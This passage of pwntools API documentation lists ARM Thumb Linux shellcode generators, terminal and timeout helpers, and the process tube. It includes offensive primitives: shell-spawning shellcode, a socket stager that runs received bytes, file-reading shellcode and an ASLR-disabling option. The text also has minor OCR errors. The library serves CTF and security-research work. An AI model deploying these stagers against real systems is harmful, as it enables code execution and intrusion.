>>> with context.local(os = 'linux'):
       print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
   mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

pwnlib.shellcraft.thumb.linux.mprotect (addr, length, prot)
Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

• addr (void) - addr

- len (size t) len
- prot (int) prot

pwnlib.shellcraft.thumb.linux.mq_notify(mqdes, notification)

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- mqdes (mqd_t) mqdes
- notification (sigevent) notification

pwnlib.shellcraft.thumb.linux.mq_open (name, oflag, vararg)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- name (char) name
- oflag(int) oflag
- vararg(int) vararg

pwnlib.shellcraft.thumb.linux.mq_timedreceive(mqdes, msg_ptr, msg_len, msg_prio,

abs_timeout)
Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msq len(size t)-msg len
- msg_prio (unsigned) msg_prio
- abs_timeout (timespec) abs_timeout

pwnlib.shellcraft.thumb.linux.mq_timedsend(mqdes, msg_len, msg_ptr, msg_prio, ${\it abs_timeout})$ Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- mqdes (mqd_t) mqdes
- msg_ptr (char) msg_ptr
- msg_len (size_t) msg_len
- msq prio (unsigned) msg prio
- abs timeout (timespec) abs timeout

pwnlib.shellcraft.thumb.linux.mq_unlink(name)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters name (char) - name

pwnlib.shellcraft.thumb.linux.mremap(addr, old_len, new_len, flags, vararg) Invokes the syscall mremap. See 'man 2 mremap' for more information.

- addr (void) addr
- old_len (size_t) old_len

- new_len (size_t) new_len
- flags (int) flags
- vararg(int) vararg

pwnlib.shellcraft.thumb.linux.msync(addr, length, flags)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- addr (void) addr
- len (size_t) len
- flags (int) flags

pwnlib.shellcraft.thumb.linux.munlock(addr, length)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.thumb.linux.munlockall()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.munmap(addr, length)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- addr (void) addr
- **len** (*size_t*) len

pwnlib.shellcraft.thumb.linux.nanosleep (requested_time, remaining) Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- requested_time (timespec) requested_time
- remaining (timespec) remaining

pwnlib.shellcraft.thumb.linux.nice(inc)

Invokes the syscall nice. See 'man 2 nice' for more information.

pwnlib.shellcraft.thumb.linux.open(file, oflag, vararg)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- file (char) file
- oflag (int) oflag
- vararg(int) vararg

pwnlib.shellcraft.thumb.linux.openat (fd, file, oflag, vararg) Invokes the syscall openat. See 'man 2 openat' for more information.

- **fd**(int)-fd
- file (char) file
- oflag(int) oflag
- vararg (int) vararg

pwnlib.shellcraft.thumb.linux.pause()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.pipe (pipedes)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters pipedes (int) - pipedes

pwnlib.shellcraft.thumb.linux.pipe2 (pipedes, flags)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- pipedes (int) pipedes
- flags (int) flags

 $\verb|pwnlib.shellcraft.thumb.linux.poll| (\textit{fds}, \textit{nfds}, \textit{timeout})$

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) nfds
- timeout (int) timeout

pwnlib.shellcraft.thumb.linux.ppoll (fds, nfds, timeout, ss)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (pollfd) fds
- **nfds** (nfds_t) **nfds**
- timeout (timespec) timeout
- **ss** (sigset_t) ss

pwnlib.shellcraft.thumb.linux.prctl(option, vararg)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- option (int) option
- **vararg** (*int*) vararg

 $\verb|pwnlib.shellcraft.thumb.linux.pread| (\textit{fd}, \textit{buf}, \textit{nbytes}, \textit{offset})|$

Invokes the syscall pread. See 'man 2 pread' for more information.

- **fd** (int) fd
- buf (void) buf

- **nbytes** (size_t) **nbytes**
- offset (off t) offset

pwnlib.shellcraft.thumb.linux.preadv (fd, iovec, count, offset)

Invokes the syscall pready. See 'man 2 pready' for more information.

Parameters

- fd (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.thumb.linux.prlimit64 (pid, resource, new_limit, old_limit)

Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (pid_t) **pid**
- resource (rlimit_resource) resource
- new_limit (rlimit 64) new_limit
- old_limit (rlimit64) old_limit

pwnlib.shellcraft.thumb.linux.profil(sample_buffer, size, offset, scale)

Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- sample_buffer (unsigned) sample_buffer
- **size** (*size_t*) **size**
- offset $(size_t)$ offset
- scale (unsigned) scale

pwnlib.shellcraft.thumb.linux.ptrace(request, vararg)

Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- request (ptrace_request) request
- vararg(int) vararg

pwnlib.shellcraft.thumb.linux.push(value)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = 'thumb' using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters value (int, str) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
   push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
    /* push 0 */
   eor r7, r7
   push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
   /* push 1 */
   mov r7, #1
   push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
   /* push 256 */
   mov r7, #0x100
   push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
   /* push 'SYS_execve' */
   mov r7, \#0xb
   push {r7}
>>> with context.local(os = 'freebsd'):
       print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
   mov r7, #0x3b
   push {r7}
```

pwnlib.shellcraft.thumb.linux.putpmsg (fildes, ctlptr, dataptr, band, flags)
Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- fildes (int) fildes
- ctlptr (strbuf) ctlptr
- dataptr (strbuf) dataptr
- band (int) band
- flags (int) flags

pwnlib.shellcraft.thumb.linux.pwrite(fd, buf, n, offset)
Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- fd(int)-fd
- buf (void) buf
- **n**(size_t)-n
- **offset** (off_t) offset

pwnlib.shellcraft.thumb.linux.pwritev (fd, iovec, count, offset)
Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

- **fd** (int) fd
- iovec (iovec) iovec
- count (int) count
- offset (off_t) offset

pwnlib.shellcraft.thumb.linux.read(fd, buf, nbytes)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- **fd**(int)-fd
- **buf** (*void*) **buf**
- **nbytes** (size_t) **nbytes**

pwnlib.shellcraft.thumb.linux.readahead(fd, offset, count)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (int) fd
- offset (off64 t) offset
- count (size_t) count

pwnlib.shellcraft.thumb.linux.readdir(dirp)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

pwnlib.shellcraft.thumb.linux.readfile(path, dst='r6')

Args: [path, dst (imm/reg) = r6] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in r6 and the input file descriptor in r5.

pwnlib.shellcraft.thumb.linux.readlink(path, buf, length)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- path (char) path
- buf (char) buf
- len (size_t) len

pwnlib.shellcraft.thumb.linux.readlinkat(fd, path, buf, length)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (int) fd
- path (char) path
- **buf** (char) buf
- len (size_t) len

pwnlib.shellcraft.thumb.linux.readn(fd, buf, nbytes)

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (int) fd
- buf (void) buf
- **nbytes** (size_t) **nbytes**

pwnlib.shellcraft.thumb.linux.readv(fd, iovec, count)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd**(int)-fd
- iovec (iovec) iovec
- count (int) count

pwnlib.shellcraft.thumb.linux.recv(fd, buf, n, flags)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd** (int) fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags

 $\verb|pwnlib.shellcraft.thumb.linux.recvfrom| (\textit{fd}, \textit{buf}, \textit{n}, \textit{flags}, \textit{addr}, \textit{addr_len})|$

Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd** (int) fd
- buf (void) buf
- n(size_t)-n
- flags (int) flags
- addr (SOCKADDR_ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.thumb.linux.recvmmsg(fd, vmessages, vlen, flags, tmo)

Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd**(int)-fd
- vmessages (mmsghdr) vmessages
- vlen (unsigned) vlen
- flags (int) flags
- tmo (timespec) tmo

pwnlib.shellcraft.thumb.linux.recvmsg(fd, message, flags)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd**(int)-fd
- message (msqhdr) message
- flags (int) flags

pwnlib.shellcraft.thumb.linux.recvsize(sock, reg='r1')

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.thumb.linux.remap_file_pages (start, size, prot, pgoff, flags)
Invokes the syscall remap file pages. See 'man 2 remap file pages' for more information.

Parameters

- start (void) start
- size (size_t) size
- prot (int) prot
- **pgoff** (size_t) **pg**off
- flags (int) flags

pwnlib.shellcraft.thumb.linux.rename(old, new)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- old (char) old
- new (char) new

pwnlib.shellcraft.thumb.linux.renameat(oldfd, old, newfd, new)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- oldfd (int) oldfd
- old (char) old
- newfd (int) newfd
- new (char) new

pwnlib.shellcraft.thumb.linux.rmdir(path)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.thumb.linux.sched_get_priority_max(algorithm)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

pwnlib.shellcraft.thumb.linux.sched_get_priority_min(algorithm)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

pwnlib.shellcraft.thumb.linux.sched_getaffinity(pid, cpusetsize, cpuset)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.thumb.linux.sched_getparam(pid, param)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

• **pid** (pid_t) - **pid**

• param (sched_param) - param

pwnlib.shellcraft.thumb.linux.sched_getscheduler(pid)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters pid (pid_t) - pid

pwnlib.shellcraft.thumb.linux.sched rr qet interval(pid, t)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (pid_t) **pid**
- t(timespec) t

 $\verb|pwnlib.shellcraft.thumb.linux.sched_setaffinity| (pid, cpusetsize, cpuset)|$

Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **pid** (pid_t) **pid**
- cpusetsize (size_t) cpusetsize
- cpuset (cpu_set_t) cpuset

pwnlib.shellcraft.thumb.linux.sched_setparam(pid, param)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (pid t) **pid**
- param (sched_param) param

pwnlib.shellcraft.thumb.linux.sched_setscheduler(pid, policy, param)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (pid_t) **pid**
- policy (int) policy
- param (sched_param) param

pwnlib.shellcraft.thumb.linux.sched_yield()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.select (nfds, readfds, writefds, exceptfds, timeout)

Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- nfds (int) nfds
- readfds (fd_set) readfds
- writefds (fd set) writefds
- exceptfds (fd_set) exceptfds
- timeout (timeval) timeout

pwnlib.shellcraft.thumb.linux.sendfile(out_fd, in_fd, offset, count)

Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

Parameters

- out fd(int) out fd
- in_fd (int) in_fd
- offset (off_t) offset
- count (size t) count

pwnlib.shellcraft.thumb.linux.**sendfile64** (*out_fd*, *in_fd*, *offset*, *count*) Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- out_fd(int) out_fd
- in_fd (int) in_fd
- offset (off64_t) offset
- count (size_t) count

pwnlib.shellcraft.thumb.linux.setdomainname(name, length)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- name (char) name
- len (size t) len

pwnlib.shellcraft.thumb.linux.setqid(gid)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters
$$gid(gid_t) - gid$$

pwnlib.shellcraft.thumb.linux.setgroups(n, groups)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- n(size_t)-n
- **groups** (qid_t) groups

pwnlib.shellcraft.thumb.linux.sethostname(name, length)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- name (char) name
- **len** (*size_t*) len

pwnlib.shellcraft.thumb.linux.setitimer(which, new, old)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- which (itimer_which_t) which
- new (itimerval) new
- old(itimerval)-old

pwnlib.shellcraft.thumb.linux.setpgid(pid, pgid)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (pid_t) **pid**
- **pgid** (pid_t) **pgid**

pwnlib.shellcraft.thumb.linux.setpriority(which, who, prio)
Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- which (priority_which_t) which
- **who** (*id_t*) who
- prio (int) prio

pwnlib.shellcraft.thumb.linux.setregid(rgid, egid)
Invokes the syscall setregid. See 'man 2 setregid' for more information.

Parameters

- rqid (qid t) rgid
- **egid** (*gid_t*) **egid**

pwnlib.shellcraft.thumb.linux.setresgid(rgid, egid, sgid)
Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*gid_t*) **rgid**
- **egid** (*gid_t*) **egid**
- **sgid** (*gid_t*) **sgid**

pwnlib.shellcraft.thumb.linux.setresuid(ruid, euid, suid)
Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- ruid (uid_t) ruid
- **euid** (*uid_t*) **euid**
- **suid** (*uid_t*) **suid**

pwnlib.shellcraft.thumb.linux.**setreuid**(*ruid*, *euid*)

Invokes the syscall setreuid. See 'man 2 setreuid' for more information.

Parameters

- **ruid** (*uid_t*) **ruid**
- **euid** (*uid_t*) **euid**

pwnlib.shellcraft.thumb.linux.**setrlimit** (*resource*, *rlimits*)
Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

- resource (rlimit_resource_t) resource
- rlimits (rlimit) rlimits

```
pwnlib.shellcraft.thumb.linux.setsid()
```

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

```
pwnlib.shellcraft.thumb.linux.settimeofday(tv, tz)
```

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- tv (timeval) tv
- tz (timezone) tz

pwnlib.shellcraft.thumb.linux.setuid(uid)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

pwnlib.shellcraft.thumb.linux.sh()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.thumb.linux.sigaction(sig, act, oact)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (int) sig
- act (sigaction) act
- oact (sigaction) oact

pwnlib.shellcraft.thumb.linux.sigaltstack(ss, oss)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- ss (sigaltstack) ss
- oss(sigaltstack) oss

pwnlib.shellcraft.thumb.linux.signal(sig, handler)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- sig(int) sig
- $handler(sighandler_t) handler$

pwnlib.shellcraft.thumb.linux.sigpending(set)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

pwnlib.shellcraft.thumb.linux.sigprocmask(how, set, oset)

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

• how (int) - how

```
• set (sigset_t) – set
```

• **oset** (sigset_t) - oset

```
pwnlib.shellcraft.thumb.linux.sigreturn(scp)
```

Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

```
pwnlib.shellcraft.thumb.linux.sigsuspend(set)
```

Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

```
Parameters set (sigset_t) - set
```

pwnlib.shellcraft.thumb.linux.**splice** (*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*)
Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- fdin (int) fdin
- **offin** (off64_t) offin
- **fdout** (*int*) fdout
- **offout** (off64_t) offout
- len (size t) len
- flags (unsigned) flags

pwnlib.shellcraft.thumb.linux.stage(fd=0, length=None)

Migrates shellcode to a new buffer.

Parameters

- fd (int) Integer file descriptor to recy data from. Default is stdin (0).
- **length** (*int*) Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

pwnlib.shellcraft.thumb.linux.stager(sock, size)

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in r6.

```
pwnlib.shellcraft.thumb.linux.stat(file, buf)
```

Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- file (char) file
- **buf** (stat) buf

pwnlib.shellcraft.thumb.linux.stat64 (file, buf)

Invokes the syscall stat64. See 'man 2 stat64' for more information.

- file (char) file
- **buf** (stat64) buf

pwnlib.shellcraft.thumb.linux.stime(when)

Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters when (time t) – when

pwnlib.shellcraft.thumb.linux.stty(fd, params)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd**(int)-fd
- params (sqttyb) params

pwnlib.shellcraft.thumb.linux.symlink(from_, to)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- from (char) from
- **to** (char) to

pwnlib.shellcraft.thumb.linux.symlinkat(from_, tofd, to)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- from (char) from
- tofd(int)-tofd
- to (char) to

pwnlib.shellcraft.thumb.linux.sync()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.sync_file_range(fd, offset, count, flags)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (int) fd
- offset (off64_t) offset
- **count** (off64 t) count
- flags (unsigned) flags

pwnlib.shellcraft.thumb.linux.syscall (syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov r0, #1
    mov r1, sp
    mov r2, #2
    eor r3, r3
    mov r7, #0xb
    svc 0x41
>>> print shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor r0, r0
    mov r7, #(SYS_exit) /* 1 */
    svc 0x41
```

pwnlib.shellcraft.thumb.linux.syslog(pri,fmt, vararg)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **pri** (int) pri
- fmt (char) fmt
- vararg (int) vararg

 $\verb|pwnlib.shellcraft.thumb.linux.tee| (\textit{fdin}, \textit{fdout}, \textit{length}, \textit{flags})|$

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- fdin (int) fdin
- fdout (int) fdout
- **len** (*size_t*) len
- flags (unsigned) flags

pwnlib.shellcraft.thumb.linux.time(timer)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters timer (time_t) - timer

pwnlib.shellcraft.thumb.linux.timer_create (clock_id, evp, timerid)
Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- $clock_id(clockid_t) clock_id$
- evp(sigevent)-evp
- timerid(timer t) timerid

pwnlib.shellcraft.thumb.linux.timer_delete(timerid)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters timerid (timer_t) - timerid

 $\verb|pwnlib.shellcraft.thumb.linux.timer_getoverrum| (\textit{timerid})$

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters timerid (timer_t) - timerid

pwnlib.shellcraft.thumb.linux.timer_gettime(timerid, value)

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- timerid(timer_t) timerid
- value (itimerspec) value

pwnlib.shellcraft.thumb.linux.timer_settime (timerid, flags, value, ovalue)
Invokes the syscall timer settime. See 'man 2 timer settime' for more information.

Parameters

- timerid(timer_t) timerid
- flags (int) flags
- value (itimerspec) value
- ovalue (itimerspec) ovalue

pwnlib.shellcraft.thumb.linux.truncate(file, length)

Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- file (char) file
- length (off_t) length

pwnlib.shellcraft.thumb.linux.truncate64(file, length)

Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- file (char) file
- length (off64_t) length

pwnlib.shellcraft.thumb.linux.ulimit(cmd, vararg)

Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- cmd (int) cmd
- vararg(int) vararg

 $\verb|pwnlib.shellcraft.thumb.linux.umask| (mask)$

Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters mask (mode_t) - mask

pwnlib.shellcraft.thumb.linux.uname(name)

Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters name (utsname) - name

pwnlib.shellcraft.thumb.linux.unlink(name)

Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters name (char) - name

pwnlib.shellcraft.thumb.linux.unlinkat(fd, name, flag)

Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

- **fd**(int)-fd
- name (char) name
- flag(int)-flag

pwnlib.shellcraft.thumb.linux.unshare(flags)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters flags (int) - flags

pwnlib.shellcraft.thumb.linux.ustat(dev, ubuf)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **dev** (dev_t) dev
- ubuf (ustat) ubuf

pwnlib.shellcraft.thumb.linux.utime (file, file_times)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- file (char) file
- file_times (utimbuf) file_times

pwnlib.shellcraft.thumb.linux.utimensat(fd, path, times, flags)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **fd**(int)-fd
- path (char) path
- times (timespec) times
- flags (int) flags

pwnlib.shellcraft.thumb.linux.utimes (file, tvp)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- file (char) file
- tvp (timeval) tvp

pwnlib.shellcraft.thumb.linux.vfork()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.vhangup()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.vmsplice(fdout, iov, count, flags)

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

- fdout (int) fdout
- iov (iovec) iov

- count (size_t) count
- flags (unsigned) flags

pwnlib.shellcraft.thumb.linux.wait4 (pid, stat_loc, options, usage) Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc (WAIT_STATUS) stat_loc
- options (int) options
- usage (rusage) usage

pwnlib.shellcraft.thumb.linux.waitid(idtype, id, infop, options)
Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- idtype (idtype_t) idtype
- id (id_t) id
- **infop** (siginfo_t) **infop**
- options (int) options

pwnlib.shellcraft.thumb.linux.waitpid(pid, stat_loc, options)
Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (pid_t) **pid**
- stat_loc(int) stat_loc
- options (int) options

pwnlib.shellcraft.thumb.linux.write (fd, buf, n)Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd**(int)-fd
- buf (void) buf
- **n**(size_t)-n

pwnlib.shellcraft.thumb.linux.writev(fd, iovec, count)
Invokes the syscall writev. See 'man 2 writev' for more information.

- **fd**(int)-fd
- iovec (iovec) iovec
- count (int) count

2.19 pwnlib.term — Terminal handling

```
pwnlib.term.can_init()
```

This function returns True iff stderr is a TTY and we are not inside a REPL. Iff this function returns *True*, a call to <code>init()</code> will let <code>pwnlib</code> manage the terminal.

```
pwnlib.term.init()
```

Calling this function will take over the terminal (iff can_init() returns True) until the current python interpreter is closed.

It is on our TODO, to create a function to "give back" the terminal without closing the interpreter.

```
pwnlib.term.term_mode = False
```

This is True exactly when we have taken over the terminal using init ().

2.20 pwnlib.timeout — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

```
class pwnlib.timeout.Timeout (timeout=pwnlib.timeout.Timeout.default)
```

Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- •Timeout.default use the global default value (context.default)
- •Timeout.forever or None never time out
- •Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
>>> t = Timeout(5)
>>> t.timeout == 5
>>> i = 0
>>> with t.countdown():
        print (4 <= t.timeout and t.timeout <= 5)</pre>
. . .
True
>>> with t.countdown(0.5):
        while t.timeout:
            print round(t.timeout,1)
            time.sleep(0.1)
. . .
0.5
0.4
0.3
0.2
0.1
>>> print t.timeout
5.0
>>> with t.local(0.5):
```

countdown (timeout=pwnlib.timeout.Timeout.default)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing timeout within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If None is specified for timeout, then the current timeout is used is made. This allows None to be specified as a default argument with less complexity.

default = pwnlib.timeout.Timeout.default

Value indicating that the timeout should not be changed

forever = None

Value indicating that a timeout should not ever occur

local (timeout)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

maximum = pwnlib.timeout.maximum

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to $2^{**}22$. Assume that if we receive a timeout of $2^{**}21$ or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses context.timeout.

timeout_change()

Callback for subclasses to hook a timeout change.

2.21 pwnlib.tubes — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over over SSH.

It is organized such that the majority of the functionality is implemented in pwnlib.tubes.tube. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.21.1 Types of Tubes

pwnlib.tubes.process — Processes

Bases: pwnlib.tubes.tube.tube

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **argv** (list) List of arguments to pass to the spawned process.
- **shell** (bool) Set to *True* to interpret *argv* as a string to pass to the shell for interpretation instead of as argv.
- **executable** (*str*) Path to the binary to execute. If None, uses argv[0]. Cannot be used with shell.
- cwd (str) Working directory. Uses the current working directory by default.
- env (dict) Environment variables. By default, inherits from Python's environment.
- timeout (int) Timeout to use on tube recy operations.
- **stdin** (*int*) File object or file descriptor number to use for stdin. By default, a pipe is used. A pty can be used instead by setting this to process.PTY. This will cause programs to behave in an interactive manner (e.g., python will show a >>> prompt). If the application reads from /dev/tty directly, use a pty.
- **stdout** (*int*) File object or file descriptor number to use for stdout. By default, a pty is used so that any stdout buffering by libc routines is disabled. May also be subprocess.PIPE to use a normal pipe.
- **stderr** (*int*) File object or file descriptor number to use for stderr. By default, stdout is used. May also be subprocess.PIPE to use a separate pipe, although the tube wrapper will not be able to read this data.
- close_fds (bool) Close all open file descriptors except stdin, stdout, stderr. By default, True is used.
- preexec fn (callable) Callable to invoke immediately before calling execve.
- raw (bool) Set the created pty to raw mode (i.e. disable echo and control characters). True by default. If no pty is created, this has no effect.
- aslr (bool) If set to False, disable ASLR via personality (setarch -R) and setrlimit (ulimit -s unlimited).

This disables ASLR for the target process. However, the setarch changes are lost if a setuid binary is executed.

